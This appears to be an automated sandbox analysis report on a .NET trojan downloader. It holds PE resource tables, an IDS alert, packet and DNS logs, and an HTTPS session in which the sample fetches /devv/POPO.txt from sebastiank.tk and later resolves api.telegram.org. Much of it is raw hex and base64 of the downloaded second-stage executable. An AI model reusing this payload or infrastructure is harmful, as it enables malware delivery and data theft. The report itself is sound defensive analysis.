IMAGE_SCN_MEM_READ

.reloc 0x3e000 0xc 0x200 False 0.044921875 data 0.08153941234324169 IMAGE_SCN_CNT_INITIALI
ZED_DATA, 
IMAGE_SCN_MEM_DISCA
RDABLE, 
IMAGE_SCN_MEM_READ

Name RVA Size Type Language Country

RT_ICON 0x122c4 0x2270 PNG image data, 256 x 256, 8-bit/color RGBA, non-
interlaced

RT_ICON 0x14534 0x10828 dBase IV DBT, blocks size 0, block length 2048, next 
free block index 40, next free block 0, next used block 
0

RT_ICON 0x24d5c 0x94a8 data

RT_ICON 0x2e204 0x5488 data

RT_ICON 0x3368c 0x4228 dBase IV DBT of \200.DBF, blocks size 0, block length 
16896, next free block index 40, next free block 
4294967295, next used block 4294967055

RT_ICON 0x378b4 0x25a8 data

RT_ICON 0x39e5c 0x10a8 data

RT_ICON 0x3af04 0x988 data

RT_ICON 0x3b88c 0x468 GLS_BINARY_LSB_FIRST

RT_GROUP_ICON 0x3bcf4 0x84 data

RT_VERSION 0x3bd78 0x34c data

DLL Import

mscoree.dll _CorExeMain

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts
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Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP

192.168.2.48.8.8.8548005
32012811 08/08/22-
12:54:11.254271

UDP 201281
1

ET DNS Query to a .tk domain - Likely Hostile 54800 53 192.168.2.4 8.8.8.8

Total Packets: 46

• 53 (DNS)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

Aug 8, 2022 12:54:11.637722969 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:11.637773991 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:11.637849092 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:11.661735058 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:11.661786079 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.173983097 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.174120903 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.192428112 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.192476988 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.192905903 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.238226891 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.654378891 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.695368052 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.823048115 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.823121071 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.823143959 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.823198080 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.823252916 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.823270082 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.823319912 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.989171982 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.989211082 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.989299059 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.989330053 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.989348888 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.989365101 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.989388943 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.989438057 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.989455938 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.989471912 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.989484072 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.989490986 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.989526987 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.989547968 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.989590883 CEST 443 49751 162.240.35.239 192.168.2.4

Network Port Distribution

TCP Packets
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Aug 8, 2022 12:54:12.989605904 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.989622116 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:12.989635944 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:12.989643097 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.050839901 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.155409098 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.155452013 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.155513048 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.155555010 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.155560970 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.155569077 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.155600071 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.155663967 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.155673981 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.155730009 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.155775070 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.155786991 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.155812979 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.155838966 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.155889988 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.156044006 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.156056881 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.156084061 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.156097889 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.156138897 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.156224966 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.156236887 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.156289101 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.156316042 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.156414986 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.156426907 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.156490088 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.156630039 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.156714916 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.156723976 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.156761885 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.323765993 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.323961973 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.323988914 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.324008942 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.324029922 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.324059010 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.324232101 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.324314117 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.324431896 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.324506044 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.324636936 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.324759960 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.324918985 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.324992895 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.325156927 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.325227976 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.325340033 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.325417995 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.325556040 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.325635910 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.495937109 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.496117115 CEST 49751 443 192.168.2.4 162.240.35.239

Timestamp Source Port Dest Port Source IP Dest IP
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Aug 8, 2022 12:54:13.496140003 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.496176004 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.496222973 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.496239901 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.496346951 CEST 443 49751 162.240.35.239 192.168.2.4

Aug 8, 2022 12:54:13.496421099 CEST 49751 443 192.168.2.4 162.240.35.239

Aug 8, 2022 12:54:13.496478081 CEST 443 49751 162.240.35.239 192.168.2.4

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Aug 8, 2022 12:54:11.254271030 CEST 54800 53 192.168.2.4 8.8.8.8

Aug 8, 2022 12:54:11.604284048 CEST 53 54800 8.8.8.8 192.168.2.4

Aug 8, 2022 12:56:03.035561085 CEST 61497 53 192.168.2.4 8.8.8.8

Aug 8, 2022 12:56:03.054502964 CEST 53 61497 8.8.8.8 192.168.2.4

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 8, 2022 12:54:11.254271030 CEST 192.168.2.4 8.8.8.8 0xbfc9 Standard query 
(0)

sebastiank.tk A (IP address) IN (0x0001)

Aug 8, 2022 12:56:03.035561085 CEST 192.168.2.4 8.8.8.8 0x153a Standard query 
(0)

api.telegram.org A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Aug 8, 2022 
12:54:11.604284048 CEST

8.8.8.8 192.168.2.4 0xbfc9 No error (0) sebastiank.tk 162.240.35.239 A (IP address) IN 
(0x0001)

Aug 8, 2022 
12:56:03.054502964 CEST

8.8.8.8 192.168.2.4 0x153a No error (0) api.telegram.org 149.154.167.220 A (IP address) IN 
(0x0001)

            
sebastiank.tk

            
api.telegram.org

         

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.2.4 49751 162.240.35.239 443 C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-08 10:54:12 UTC 0 OUT GET /devv/POPO.txt HTTP/1.1
Host: sebastiank.tk
Connection: Keep-Alive

2022-08-08 10:54:12 UTC 0 IN HTTP/1.1 200 OK
Date: Mon, 08 Aug 2022 10:54:11 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade, close
Last-Modified: Sun, 07 Aug 2022 21:41:15 GMT
Accept-Ranges: bytes
Content-Length: 295596
Content-Type: text/plain

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets
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2022-08-08 10:54:12 UTC 0 IN Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 
41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 
39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 
47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 43 64 38 35 6d 45 41 41 41 41 41 
41 41 41 41 41 4f 41 41 41 67 45 4c 41 51 73 41 41 46 67 44 41 41 41 49 41 41 41 41 41 41 41 41 54 6e 63 44 41 41 41 
67 41 41 41 41 41 41 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 
Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9T
IG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDACd85mEAAAAAAAAAAOAAAgELAQsAAFgDAAAIAAAAAAAATncD
AAAgAAAAAAAAAABAAAAgAAAAAgA

2022-08-08 10:54:12 UTC 8 IN Data Raw: 77 59 41 41 41 51 6f 45 67 41 41 42 69 59 6f 6b 41 41 41 43 6e 38 47 41 41 41 45 65 7a 73 41 41 41 54 61 62 
43 4d 41 41 41 41 41 41 45 43 50 51 46 73 6f 6b 51 41 41 43 72 63 67 57 41 49 41 41 44 45 49 46 6f 41 48 41 41 41 45 
4b 77 59 58 67 41 63 41 41 41 51 71 41 41 41 41 47 7a 41 46 41 46 6f 44 41 41 41 64 41 41 41 52 4b 43 34 43 41 41 59 
4b 66 67 67 41 41 41 51 6f 4c 67 49 41 42 68 59 6f 4c 67 41 41 43 68 59 37 50 51 4d 41 41 43 68 64 41 41 41 4b 4b 47 4
d 43 41 41 59 6f 4a 41 41 41 43 67 74 2b 43 41 41 41 42 41 77 57 44 51 67 53 41 79 69 53 41 41 41 4b 42 6e 34 49 41 
41 41 45 4b 43 51 41 41 41 6f 4b 66 70 4d 41 41 41 71 41 43 41 41 41 42 4e 34 4b 43 53 77 47 43 43 69 55 41 41 41 4b 
33 48 34 4f 41 41 41 45 46 6a 4d 38 42 79 67 78 41 41 41 4b 4c 42 67 5a 
Data Ascii: wYAAAQoEgAABiYokAAACn8GAAAEezsAAATabCMAAAAAAECPQFsokQAACrcgWAIAADEIF
oAHAAAEKwYXgAcAAAQqAAAAGzAFAFoDAAAdAAARKC4CAAYKfggAAAQoLgIABhYoLgAAChY7PQMAAChdA
AAKKGMCAAYoJAAACgt+CAAABAwWDQgSAyiSAAAKBn4IAAAEKCQAAAoKfpMAAAqACAAABN4KCSwGCCiUA
AAK3H4OAAAEFjM8BygxAAAKLBgZ

2022-08-08 10:54:12 UTC 15 IN Data Raw: 44 63 41 41 41 6f 54 4e 79 67 34 41 41 41 4b 33 67 41 52 43 43 67 45 41 51 41 47 62 38 59 41 41 41 72 65 
44 79 55 6f 4e 77 41 41 43 68 4d 34 4b 44 67 41 41 41 72 65 41 42 45 49 4b 4f 30 41 41 41 5a 76 78 67 41 41 43 74 34 
50 4a 53 67 33 41 41 41 4b 45 7a 6b 6f 4f 41 41 41 43 74 34 41 45 51 67 6f 7a 41 41 41 42 6d 2f 47 41 41 41 4b 33 67 38 
6c 4b 44 63 41 41 41 6f 54 4f 69 67 34 41 41 41 4b 33 67 41 52 43 47 2f 4f 41 41 41 4b 46 6a 36 31 41 51 41 41 45 51 68 
76 7a 77 41 41 43 68 4e 42 4f 49 73 42 41 41 41 53 51 53 6a 51 41 41 41 4b 45 7a 73 52 4f 32 38 70 41 67 41 47 44 42 4
5 37 62 79 63 43 41 41 59 54 43 52 45 37 62 79 4d 43 41 41 59 4b 45 54 74 76 4a 51 49 41 42 68 4d 47 45 51 6c 76 79 
51 41 41 43 68 66 2b 41 67 68 76 79 51 41 41 43 68 66 2b 41 6d 41 47 
Data Ascii: DcAAAoTNyg4AAAK3gARCCgEAQAGb8YAAAreDyUoNwAAChM4KDgAAAreABEIKO0AAAZvxgAACt4PJSg
3AAAKEzkoOAAACt4AEQgozAAABm/GAAAK3g8lKDcAAAoTOig4AAAK3gARCG/OAAAKFj61AQAAEQhvzwA
AChNBOIsBAAASQSjQAAAKEzsRO28pAgAGDBE7bycCAAYTCRE7byMCAAYKETtvJQIABhMGEQlvyQAAChf
+AghvyQAAChf+AmAG

2022-08-08 10:54:12 UTC 23 IN Data Raw: 67 49 65 51 4f 73 41 41 41 42 2b 44 51 41 41 42 43 6a 76 41 67 41 47 4b 45 41 41 41 41 6f 7a 47 58 34 49 41 
41 41 45 4b 50 41 43 41 41 59 6f 4a 41 41 41 43 6f 41 49 41 41 41 45 33 66 30 47 41 41 42 2b 43 41 41 41 42 43 67 75 
41 67 41 47 46 69 67 75 41 41 41 4b 46 6a 75 6d 41 41 41 41 66 67 67 41 41 41 52 2b 43 41 41 41 42 47 2f 4a 41 41 41 
4b 66 69 67 41 41 41 52 76 79 51 41 41 43 74 70 2b 4b 41 41 41 42 47 2f 4a 41 41 41 4b 62 2b 38 41 41 41 70 2b 4b 41 
41 41 42 42 59 6f 4c 67 41 41 43 68 59 75 62 33 34 49 41 41 41 45 66 67 67 41 41 41 52 76 79 51 41 41 43 68 33 61 62 
77 67 42 41 41 6f 4b 42 69 6a 78 41 67 41 47 46 69 67 75 41 41 41 4b 46 76 34 42 46 76 34 42 66 67 67 41 41 41 52 2b 
43 41 41 41 42 47 2f 4a 41 41 41 4b 47 74 70 76 43 41 45 41 43 6e 34 59 
Data Ascii: gIeQOsAAAB+DQAABCjvAgAGKEAAAAozGX4IAAAEKPACAAYoJAAACoAIAAAE3f0GAAB+CAAABCguAgA
GFiguAAAKFjumAAAAfggAAAR+CAAABG/JAAAKfigAAARvyQAACtp+KAAABG/JAAAKb+8AAAp+KAAABBY
oLgAAChYub34IAAAEfggAAARvyQAACh3abwgBAAoKBijxAgAGFiguAAAKFv4BFv4BfggAAAR+CAAABG/JAAAKGtpvC
AEACn4Y

2022-08-08 10:54:13 UTC 31 IN Data Raw: 41 6f 6f 56 77 49 41 42 69 67 75 41 67 41 47 62 33 67 41 41 41 6f 54 46 77 6b 67 44 6f 41 41 41 45 44 41 41 
41 41 41 48 78 43 4e 4b 77 41 41 41 52 4d 62 45 52 51 52 47 78 38 51 4b 43 41 42 41 41 6f 44 63 79 45 42 41 41 6f 54 
47 52 45 5a 45 52 74 76 49 67 45 41 43 68 4d 63 45 52 4d 58 32 68 66 57 6a 53 73 41 41 41 45 54 48 52 45 55 45 52 49 
52 45 39 6f 52 48 52 59 52 45 79 67 57 41 51 41 4b 45 52 78 7a 49 51 45 41 43 68 4d 61 45 52 6f 52 48 57 38 69 41 51 4
1 4b 45 78 34 66 51 49 30 72 41 41 41 42 45 78 67 52 46 42 38 51 45 52 67 57 45 52 69 4f 74 79 67 57 41 51 41 4b 45 
52 67 6f 47 41 45 41 43 69 68 58 41 67 41 47 4b 43 34 43 41 41 5a 76 65 41 41 41 43 68 4d 66 45 52 34 6f 47 41 45 41 
43 69 68 58 41 67 41 47 4b 43 34 43 41 41 5a 76 65 41 41 41 43 68 4d 67 
Data Ascii: AooVwIABiguAgAGb3gAAAoTFwkgDoAAAEDAAAAAHxCNKwAAARMbERQRGx8QKCABAAoDc
yEBAAoTGREZERtvIgEAChMcERMX2hfWjSsAAAETHREUERIRE9oRHRYREygWAQAKERxzIQEAChMaERoRH
W8iAQAKEx4fQI0rAAABExgRFB8QERgWERiOtygWAQAKERgoGAEACihXAgAGKC4CAAZveAAAChMfER4oG
AEACihXAgAGKC4CAAZveAAAChMg

2022-08-08 10:54:13 UTC 39 IN Data Raw: 41 41 4b 62 79 49 42 41 41 6f 54 42 6e 4d 6d 41 51 41 4b 45 77 55 52 42 52 45 47 62 79 63 42 41 41 6f 52 42 
52 68 76 4b 51 45 41 43 68 45 46 47 47 38 71 41 51 41 4b 43 41 4e 76 6d 41 41 41 43 68 4d 45 45 51 56 76 59 77 45 41 
43 68 4d 48 45 51 63 52 42 42 59 52 42 49 36 33 62 79 77 42 41 41 6f 4c 33 68 6f 52 42 57 39 6b 41 51 41 4b 43 57 39 
6c 41 51 41 4b 33 4e 34 4b 43 53 77 47 43 57 39 58 41 41 41 4b 33 41 63 6f 64 67 41 41 43 69 6f 41 41 41 41 42 48 41 4
1 41 41 67 42 47 41 42 70 67 41 41 34 41 41 41 41 41 41 67 41 4f 41 47 4a 77 41 41 6f 41 41 41 41 41 47 7a 41 45 41 48 
6f 41 41 41 42 4e 41 41 41 52 46 41 74 7a 59 51 45 41 43 67 78 7a 59 67 45 41 43 67 30 43 65 30 67 41 41 41 51 54 42 
6e 4d 6d 41 51 41 4b 45 77 55 52 42 52 45 47 62 79 63 42 41 41 6f 52 
Data Ascii: AAKbyIBAAoTBnMmAQAKEwURBREGbycBAAoRBRhvKQEAChEFGG8qAQAKCANvmAAAChMEE
QVvYwEAChMHEQcRBBYRBI63bywBAAoL3hoRBW9kAQAKCW9lAQAK3N4KCSwGCW9XAAAK3AcodgAACioAA
AABHAAAAgBGABpgAA4AAAAAAgAOAGJwAAoAAAAAGzAEAHoAAABNAAARFAtzYQEACgxzYgEACg0Ce0gAA
AQTBnMmAQAKEwURBREGbycBAAoR

2022-08-08 10:54:13 UTC 47 IN Data Raw: 77 38 54 42 51 41 52 42 52 33 2b 41 53 77 46 46 67 30 65 45 77 55 41 45 51 55 66 44 66 34 42 4c 41 34 4a 
45 51 53 4f 74 7a 38 2f 2f 2f 2f 2f 48 77 34 54 42 51 41 52 42 52 38 4c 2f 67 45 73 46 51 59 49 4b 47 73 44 41 41 59 6f 4a 
41 41 41 43 6d 2f 4d 41 41 41 4b 48 77 77 54 42 51 41 52 42 52 6a 2b 41 53 77 4a 63 37 77 41 41 41 6f 4b 47 52 4d 46 
41 42 45 46 46 76 34 42 4c 41 4d 58 45 77 55 41 45 51 55 66 45 50 34 42 4c 41 49 72 42 54 69 7a 2f 76 2f 2f 42 69 6f 41 
45 7a 41 44 41 46 63 42 41 41 42 63 41 41 41 52 48 78 69 4e 4b 77 41 41 41 51 6f 47 46 69 44 68 41 41 41 41 6e 41 59 
58 49 50 41 41 41 41 43 63 42 68 67 67 77 77 41 41 41 4a 77 47 47 53 44 53 41 41 41 41 6e 41 59 61 49 4b 55 41 41 41 
43 63 42 68 73 67 74 41 41 41 41 4a 77 47 48 43 43 48 41 41 41 41 
Data Ascii: w8TBQARBR3+ASwFFg0eEwUAEQUfDf4BLA4JEQSOtz8/////Hw4TBQARBR8L/gEsFQYIKGsDAAYoJAA
ACm/MAAAKHwwTBQARBRj+ASwJc7wAAAoKGRMFABEFFv4BLAMXEwUAEQUfEP4BLAIrBTiz/v//BioAEzA
DAFcBAABcAAARHxiNKwAAAQoGFiDhAAAAnAYXIPAAAACcBhggwwAAAJwGGSDSAAAAnAYaIKUAAACcBhs
gtAAAAJwGHCCHAAAA

Timestamp
kBytes
transferred

Direction Data
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2022-08-08 10:54:13 UTC 54 IN Data Raw: 67 41 47 42 69 69 6f 41 77 41 47 62 79 6f 43 41 41 59 47 43 39 34 56 4a 53 67 33 41 41 41 4b 45 77 6c 7a 49 
67 49 41 42 67 73 6f 4f 41 41 41 43 74 34 41 42 79 6f 42 45 41 41 41 41 41 41 47 41 50 50 35 41 42 55 61 41 41 41 42 
47 7a 41 44 41 46 77 41 41 41 42 65 41 41 41 52 63 37 6f 41 41 41 6f 4b 42 6e 34 73 41 51 41 45 4b 42 63 43 41 41 59 
6f 56 41 4d 41 42 69 67 59 41 67 41 47 62 38 59 41 41 41 72 65 44 69 55 6f 4e 77 41 41 43 67 77 6f 4f 41 41 41 43 74 34 
41 42 6e 34 73 41 51 41 45 4b 42 63 43 41 41 59 6f 56 41 4d 41 42 69 67 5a 41 67 41 47 62 38 59 41 41 41 72 65 44 69 
55 6f 4e 77 41 41 43 67 30 6f 4f 41 41 41 43 74 34 41 42 69 6f 42 48 41 41 41 41 41 41 47 41 42 77 69 41 41 34 61 41 41 
41 42 41 41 41 77 41 42 78 4d 41 41 34 61 41 41 41 42 47 7a 41 44 
Data Ascii: gAGBiioAwAGbyoCAAYGC94VJSg3AAAKEwlzIgIABgsoOAAACt4AByoBEAAAAAAGAPP5ABUaAAABGzA
DAFwAAABeAAARc7oAAAoKBn4sAQAEKBcCAAYoVAMABigYAgAGb8YAAAreDiUoNwAACgwoOAAACt4ABn4
sAQAEKBcCAAYoVAMABigZAgAGb8YAAAreDiUoNwAACg0oOAAACt4ABioBHAAAAAAGABwiAA4aAAABAAA
wABxMAA4aAAABGzAD

2022-08-08 10:54:13 UTC 62 IN Data Raw: 41 41 4b 4b 4e 6b 44 41 41 59 58 62 7a 30 41 41 41 6f 4d 43 47 2b 78 41 51 41 4b 44 51 6b 54 44 68 59 54 
44 54 6a 43 41 41 41 41 45 51 34 52 44 5a 6f 54 42 58 34 38 41 41 41 4b 4b 4e 6f 44 41 41 59 52 42 53 67 6b 41 41 41 
4b 46 32 38 39 41 41 41 4b 45 77 59 6f 46 41 45 41 43 68 45 47 4b 4e 73 44 41 41 5a 76 73 67 45 41 43 6e 51 53 41 41 
41 62 62 78 63 42 41 41 6f 54 43 78 45 47 4b 4e 77 44 41 41 5a 76 73 67 45 41 43 6e 51 53 41 41 41 62 45 77 63 52 42 
69 6a 64 41 77 41 47 62 37 49 42 41 41 70 30 45 67 41 41 47 78 4d 49 45 67 67 52 43 49 36 33 46 39 6f 6f 42 67 41 41 
4b 78 45 48 45 51 67 6f 34 41 41 41 42 68 4d 4a 63 79 49 43 41 41 59 54 43 68 45 4b 45 51 55 6f 33 67 41 41 42 6d 38 
6f 41 67 41 47 45 51 6f 52 43 32 38 6b 41 67 41 47 45 51 6f 52 43 57 38 6d 
Data Ascii: AAKKNkDAAYXbz0AAAoMCG+xAQAKDQkTDhYTDTjCAAAAEQ4RDZoTBX48AAAKKNoDAAYRB
SgkAAAKF289AAAKEwYoFAEAChEGKNsDAAZvsgEACnQSAAAbbxcBAAoTCxEGKNwDAAZvsgEACnQSAAAbE
wcRBijdAwAGb7IBAAp0EgAAGxMIEggRCI63F9ooBgAAKxEHEQgo4AAABhMJcyICAAYTChEKEQUo3gAAB
m8oAgAGEQoRC28kAgAGEQoRCW8m

2022-08-08 10:54:13 UTC 70 IN Data Raw: 67 45 57 2f 67 45 52 42 57 38 6c 41 67 41 47 4b 43 34 43 41 41 59 57 4b 43 34 41 41 41 6f 57 2f 67 45 57 2f 
67 46 66 4c 41 67 47 45 51 56 76 45 67 45 41 43 68 49 4a 4b 4c 77 42 41 41 6f 36 45 76 37 2f 2f 39 34 63 45 67 6e 2b 46 
68 6f 41 41 42 74 76 56 77 41 41 43 74 7a 65 44 43 67 33 41 41 41 4b 4b 44 67 41 41 41 72 65 41 41 59 71 41 45 46 4d 
41 41 41 43 41 41 41 41 63 51 41 41 41 49 6b 42 41 41 44 36 41 51 41 41 44 67 41 41 41 41 41 41 41 41 41 43 41 41 41 
41 54 77 41 41 41 41 49 43 41 41 42 52 41 67 41 41 44 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 54 77 41 41 41 42 
49 43 41 41 42 68 41 67 41 41 44 41 41 41 41 42 6f 41 41 41 45 62 4d 41 77 41 6a 67 45 41 41 48 30 41 41 42 45 43 43 
77 49 6f 4b 41 51 41 42 6d 2b 64 41 41 41 4b 4c 52 45 6f 4b 41 51 41 
Data Ascii: gEW/gERBW8lAgAGKC4CAAYWKC4AAAoW/gEW/gFfLAgGEQVvEgEAChIJKLwBAAo6Ev7//94cEgn+Fho
AABtvVwAACtzeDCg3AAAKKDgAAAreAAYqAEFMAAACAAAAcQAAAIkBAAD6AQAADgAAAAAAAAACAAAATwA
AAAICAABRAgAADgAAAAAAAAAAAAAATwAAABICAABhAgAADAAAABoAAAEbMAwAjgEAAH0AABECCwIoKAQ
ABm+dAAAKLREoKAQA

2022-08-08 10:54:13 UTC 78 IN Data Raw: 41 41 47 62 37 49 42 41 41 6f 6f 45 51 41 41 43 68 4d 49 45 51 68 76 63 77 45 41 43 74 41 56 41 41 41 42 4b 
42 51 41 41 41 6f 7a 45 78 45 4b 45 51 67 6f 6e 41 41 41 43 6d 38 6b 41 67 41 47 4f 4c 6f 41 41 41 41 52 42 68 51 6f 68 
41 49 41 42 68 65 4e 42 77 41 41 41 52 4d 57 45 52 59 57 45 51 67 6f 45 51 41 41 43 71 49 52 46 68 4d 58 45 52 63 55 
46 42 65 4e 4c 77 41 41 41 52 4d 59 45 52 67 57 46 35 77 52 47 43 69 6a 41 41 41 4b 45 52 67 57 6b 43 77 4c 45 52 63 
